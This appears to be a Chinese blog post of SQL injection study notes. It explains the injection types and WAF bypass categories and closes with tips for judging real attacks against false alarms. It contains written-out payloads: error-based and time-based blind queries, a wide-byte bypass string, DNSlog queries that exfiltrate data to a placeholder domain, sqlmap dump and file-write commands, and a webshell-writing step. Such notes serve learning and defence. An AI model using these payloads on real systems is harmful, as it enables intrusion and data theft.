欢迎光临
我们一直在努力

SQL注入漏洞

原理:程序对用户的输入数据的合法性没有进行处理,导致攻击者可以在web应用中事先定义好的sql语句中添加额外的sql语句,在管理员不知情的情况下执行非法操作

必要条件:输入参数可控,参数带入数据库查询

mysql5版本之前和5版本之后的区别

5版本后为了方便管理,有information_schema数据库,这个数据库存储了所有的数据库名,表名,列名,通过查询该数据库的信息就可以直到指定数据库下的表名列名信息。

union联合注入

有回显注入,通过union select联合两个表进行查询,列数要相同

步骤:

判断注入点,判断类型,构造闭合,判断列数,判断显示位,获取数据库信息

报错注入

利用数据库某些机制,人为制造错误的条件,使得查询结果能够出现在错误信息中。

报错注入的函数:

floor
union select 1,2,3 from(
select count(*),concat(
(select concat(version(),database(),user())
limit 0,1
),floor(rand(0)*2) x
from information_schema.tables
group by x)a –+
and updatexml(1,(concat(0x23,(select …),0x23)),1)
extractvalue
exp
geometrycollection
multipoint

盲注

布尔盲注

程序员在开发过程中,将报错信息进行隐藏,替换为了通用的错误提示,导致sql注入无法根据错误信息判断注入语句执行的结果,无回显,根据页面是否正常显示来判断if语句的条件是否成立

常用函数

substr()截取当前字符
length()获取长度
left(),right()

时间盲注

通过构造sleep注入的sql测试语句,通过页面反应时间来判断if语句是否正确

常用函数:if(),sleep(),benchmark()

if(ascii(substr(database(),1,1))=120,sleep(3),1)–+

宽字节注入

mysql数据库在使用宽字节GBK编码时,

%df’:会被php中的addslashes函数转译为%df’,在url中会被转义为%df%5C%27

在数据库查询时,GBK多字节编码会认为一个中文占两个字节,在汉字编码时两个编码为一个汉字,会将%df%5C进行转移成汉字,而%27会保留,从而绕过转义字符,导致漏洞

<?php
$ss=addslashes('aiyou"bu"cuo');
echo($ss);
?>
#aiyou\\"bu\\"cuo
?id=1%df%27%20union%20select%201,2,3–+

堆叠注入

一堆sql语句一起执行

前提:sql存在注入漏洞且未对;过滤

与联合查询的区别

union联合查询执行的语句有线,可以执行查询语句,而堆叠注入可以执行插入删除修改操作,危害更大

二次注入

第一次进行数据库插入时,仅对其中的特殊字符进行了转义,仍然保留了原始数据,如果数据本身就是有害数据,那么在第二次进行查询时,从数据库中取出恶意数据,没有进行合法性的验证,导致二次注入

DNSlog外带

将域名信息去DNS服务器中迭代查询,后返回

UNC机制:windows指定和映射网络驱动器

UNC路径:\\servername\\sharename\\directory\\filename

UNC机制能够触发dnslog解析

申请一个dnslog平台,进行盲注时把想要的数据和平台给的地址拼起来,dnslog平台就会把请求的记录显示出来。

常用函数:load_file(),concat()

#mysql
select load_file(
concat('\\\\\\\\',(select version()),'.xxx\\\\test')
)
xxx为dnslog平台域名
#mssql
declare @a varchar(50);
select @a='\\\\'+concat(varchar(50),DB_NAME())+'xxx\\test';
exec master..xp_dirtree @a,1,1;
#master..xp_dirtree ’c:‘,1,1;获取目录下所有文件夹和子文件
#master..xp_fileexist 'xxx';确定一个文件是否存在于硬盘
#master..xp_subdirs 获取给定文件夹内的文件夹列表
' and if ((select load_file(...))1,0)–+

sql注入文件读写

利用文件的读写权限,写入一句话木马

条件:

  • mysql服务对网站的路径有读写权限
  • 知道网站的绝对路径
  • secure_file_priv=‘’
  • 写文件的函数

    outfile():

  • 支持多行数据同时导出
  • 在末尾追加换行
  • dumpfile():

  • 每次只能导出一行数据
  • 不追加换行
  • SQL注入绕过WAF

    WAF原理:对来自web应用程序客户端的各类请求进行内容检测和验证,确保其安全性与合法性,对非法的请求予 以实时阻断

    绕过方法:

  • 空格字符绕过
  • 大小写绕过
  • 内联注释绕过
  • 双写绕过
  • 编码绕过
  • 关键字绕过
  • 等价函数绕过
  • sqlmap

    是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限

    #get类型
    sqlmap -u "url" –dbs –batch #所有数据库名称
    sqlmap -u "url" -D xxx –tables –batch
    sqlmap -u "url" -D xxx -T xxx –columns –batch
    sqlmap -u "url" -D xxx –T xxx -C xxx –dump
    sqlmap -u "url" –file-read 'xx/xx' –batch
    sqlmap -u "url" –file-write '/xx.php' –file-dest '/xx/xx/xx' –batch
    #post类型
    sqlmap -r "请求包内容.txt" -p 爆破参数 –dbs –batch
    sqlmap -r "请求包内容.txt" -p 爆破参数 –technique E #报错注入
    sqlmap -r "请求包内容.txt" -p 爆破参数 –current-db
    #盲注
    –technique B #基于布尔盲注 -T 时间盲注
    #http头注入
    指定注入请求包内容http头中的字段修改为*
    sqlmap -r '请求包内容.txt' –dbs –batch

    获取shell步骤:

  • 有读写权限,且知道网站的绝对路径

  • 写入文件

    select ‘一句话木马’ into outfile,into dumpfile

  • 如何判断是真实攻击还是误报

    常见攻击方式:查看请求包中是否有注入特征:union,updatexml,extractvalue,if sleep, 函数,

    判断相应包中有没有对应语句的回显结果。

    响应体和攻击语句的关联性

    访问页面,看回显

    根据IP、看历史处置方式,看是否一直这样

    时间盲注的判断:
    告警详情下载pcip包,从wireshark看有没有做延时回显

    数据库端口号

    MYSQL:3306

    SQL Server:1433

    Oracle:1521

    Redis:6379

    MongoDB:27017

    赞(0)
    未经允许不得转载:171主机测评 » SQL注入漏洞
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址